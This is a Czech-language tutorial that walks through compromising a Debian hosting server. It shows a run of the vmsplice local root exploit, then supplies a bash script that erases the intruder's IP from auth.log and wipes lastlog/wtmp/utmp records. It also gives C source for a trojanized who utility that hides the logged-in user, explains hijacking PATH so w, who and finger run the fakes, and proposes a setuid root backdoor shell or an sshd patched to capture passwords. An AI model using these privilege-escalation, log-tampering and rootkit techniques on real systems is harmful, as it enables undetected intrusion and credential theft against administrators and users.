Penetrace serveru

ssh [email protected]
[email protected]'s password:
Linux xyzhosting 2.6.18 SMP i686 GNU/Linux

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
pepa@xyzhosting:~$ whoami
pepa
pepa@xyzhosting:~$./var/www/users/temp21/http/surprise
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e02000 .. 0xb7e34000
[+] root
root@xyzhosting:~$whoami
root

Alex tak má práva uživatele root i pohodlný přístup přes ssh. Přístup přes ssh však s sebou kromě výhod přináší také jistá úskalí. Tím hlavním a nejdůležitějším je logování. Logy jsou nyní Alexovým nepřítelem, jelikož nekompromisně zaznamenávají jeho činnost v systému. Co všechno se loguje samozřejmě závisí na nastavení. Avšak například úspěšné i neúspěšné ssh přihlášení se loguje téměř vždy. Alex nemůže spoléhat na to, že se admin do logů nepodívá. Musí je tedy po sobě po každém připojení pěkně vyčistit.

Nejdříve se zaměří na logy. Grepem vyhledá veškerý výskyt jeho IP adresy ve všech souborem v adresáři /var/log:

root@xyzhosting:~$grep "212.212.212.212" /var/log/*
/var/log/auth.log:Feb  6 15:31:43 xyzhosting sshd[31212]: Accepted password for pepa from 212.212.212.212 port 34212 ssh2

Vidíme, že přístup přes ssh byl zalogovám do souboru auth.log. Alexovi tedy stačí pouze skriptem z tohoto souboru vymazat veškeré výskyty jeho IP. Alex také ví, že exitují různé IDS a bylo by nanejvýš vhodné se ujisit, že žádný není v systému nainstalován. Alex žádný IDS nenašel, což však ještě nemusí neznamenat, že tam není.

Nepřítelem číslo dva jsou utility last a lastlog, které ochotně komukoliv vypíší, kdy a odkud se který uživatel zalogoval. Toto je nepříjemné už jen z toho důvodu, že si do databáze ukládají IP adresu, odkud se uživatel připojí. To se Alexovi samozřejmě nelíbí. Přes strace si zjistí, že utilita lastlog bere údaje ze souboru /var/log/lastlog. Tento soubor je však binární, proto nelze jednoduše editovat například editorem vim. Řešením by bylo tento soubor zcela smazat, to by však bylo velice nešetrné a také je šance, že by si admin ve výpisu lastlogu všiml, že je něco špatně. Optimální by bylo tento soubor editovat a vymazat pouze údaje týkající se našeho uživatele pepa.

Na chvíli nyní opustíme utilitu lastlog a popíšeme si utilitu last. Ta má podobnou funkčnost. Chronologicky vypíše všechna přihlášení do systému taktéž s IP adresami. Last čerpá údaje ze souborů /var/log/wtmp a /var/log/utmp. Tyto soubory jsou také binární a navíc mají ještě jinou vnitřní strukturu než soubor /var/log/lastlog.

Nejvýhodnější tedy bude, když si Alex napíše aplikaci, která ze souborů lastlog, wtmp a utmp vymaže pouze záznamy týkající se konktrétního uživatele. Jelikož však Alex nerad dělá nějakou práci zbytečně, vygooglí si, zda už někdo něco podobného nenaprogramoval. Google samozřejmě najde množství výsledků a Alex si vybere tuto aplikaci logcleaner, která přesně splňuje jeho požadavky (ano, malá reklama:)).

Alex má rád jednoduché věci, proto si napíše skript, kterému pouze předá jméno uživatele, po němž mají být zahlazeny stopy a skript promaže logy a spustí aplikaci logcleaner, která promaže soubory /var/log/lastlog, /var/log/wtmp a /var/log/utmp.

#!/bin/bash

# check arg count
if [ $# -ne 1 ]; then
  echo "usage: $0 user";
  exit
fi

# delete all traces of user from auth.log
cat /var/log/auth.log | grep -v "$1" > /var/log/auth.logg
mv /var/log/auth.logg /var/log/auth.log
chgrp adm /var/log/auth.log
chmod 640 /var/log/auth.log
echo "auth.log cleaned"

# delete traces from utmp, wtmp and lastlog
./logcleaner -u $1

Poslední utility, kterými se Alex bude zabývat jsou utility w, who a finger. Všechny tyto utility po spuštění vypíší seznam uživatelů, kteří aktuálně v systému pracují. Alex neví, zda se administrátor serveru zná s uživatelem vlastnícím účet pepa. Je to však velmi pravděpodobné. Je dost možné, že tento účet používá sám admin, pokud zrovna nepotřebuje nejvyšší privilegia. Adminovi by potom po zadání například příkazu who bylo divné, že je pepa zrovna přihlášený a mohl by se začít pídit proč tomu tak je. To si samozřejmě Alex nepřeje. Zamyslí se tedy, jak dál postupovat.

Řešením by bylo modifikovat zdrojové soubory těchto aplikací tak, aby prostě daného uživatele nevypisovaly, poté zdrojáky přeložit a nahradit binárky na serveru. Toto je zbytečně komplikované. Jednodušší by bylo udělat skript, který by byl „nadstavbou“ těmto utilitám. Vypsal by to, co pravá utilita, jen by zachytil údaje o daném uživateli a ty by nevypsal. Taková jednoduchá „nadstavba“ pro aplikaci who by vypadala následovně:

#!/bin/bash

who $@ | grep -v "pepa"

Skripty mají však tu nevýhodu, že jsou lehce čitelné jakýmkoliv editorem. Pokud by se tedy k takovému skriptu dostal admin, hned by věděl, že tu někdo hraje špinavou hru. Alex se tedy rozhodne předchozí dvě možnosti zkombinovat. Napíše program v jazyce C, který bude dělat to co předchozí skript. Výsledkem bude binární soubor, který již nebude tak lehce čitelný (přesto kdyby někdo chtěl, mohl by použít strace či disassembling). Pro utilitu who (pro ostaní utility bude program ekvivalentní) by takový prográmek vypadal nějak takto (samozřejmě cesta k pravým utilitám musí byt nastavena korektně):

/*
 *  Spoofed who utility by Stoyan, 2009
 *
 *  hide specified user if who utility is used
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define ERROR "program corrupted\n"

int main(int argc, char **argv)
{
  int pid;
  int pd[2];

  // creates a pipe
  // pd[0] ... reading from pipe
  // pd[1] ... writing to pie
  pipe(pd);

  // 0 ... stdin
  // 1 ... stdout
  // 2 ... stderr

  switch (pid=fork())
  {
    // child has died
    case -1:  fprintf(stderr, ERROR);
              break;
    // child - writes to the pipe
    case  0:  close(1);
              dup(pd[1]);
              close(pd[0]);
              close(pd[1]); // generates EOF for reader
              if (execv("/usr/bin/who", argv) == -1)
              {
                  fprintf(stderr, ERROR);
                  exit(EXIT_FAILURE);
              }
              break;
    // parent - reads from the pipe
    default:  close(0);
              dup(pd[0]);
              close(pd[0]);
              close(pd[1]);
              if (execl("/bin/grep", "grep", "-v", "pepa", NULL) == -1)
              {
                  fprintf(stderr, ERROR);
                  exit(EXIT_FAILURE); 
              }
              break;
  }

  // done
  return EXIT_SUCCESS;
}

Nyní Alex potřebuje zajistit to, že komukoliv, kdo spustí příkaz who, w nebo finger se spustí jeho prográmek a ne pravá utilita. Všechny tyto utility jsou umístěny v adresáři /usr/bin. Pokud si Alex vypíše proměnnou PATH, uvidí toto:

root@xyzhosting:~$echo $PATH
/bin:/usr/local/bin:/usr/bin:/usr/games

Co se přesně děje, když uživatel zadá například příkaz who? Systém se podívá do prvního adresáře, který udává proměnná PATH, pokud zde program nenajde, pokračuje druhým, třetím atd. Pravé utility jsou až ve třetím adresáři. Pokud Alex své „padělky“ umístí do adresáře /bin nebo /usr/local/bin, dosáhne tak svého cíle. Malá ukázka:

pepa@xyzhosting:~$who
pepa@xyzhosting:~$

Nezobrazil se nikdo, přestože je uživatel pepa přihlášený. Stejné to je i s utilitami w a finger. Nyní již po sobě Alex nezanechává stopy po přihlášení v logu, ve výpisu utilit last ani lastlog a je nedetekovatelný standardními utilitami w, finger a who. Takto by Alex mohl ještě pokračovat a určitě to i udělá, ale pro hrubou představu to stačí.

Alex nezná přímo rootovo heslo, proto mu hrozí, že až admin updatuje kernel, jeho exploit přestane fungovat. A tak si může vyhodit rootův shell na nějaký vysoký port a připojovat se tam. Pak je ale zase šance, že admin shell s nastaveným setuid bitem odhalí a vše mu dojde. Další možností je upravit sshd daemona tak, aby po přihlášení uživatele někam uložil jeho heslo a Alex by si ho tak mohl přečíst. Jak jsem psal v úvodu, možností je nepočítaně, stačí se jen zamyslet… Jak říká jedna moudrá pravda:

Bezpečnost není produkt ale proces.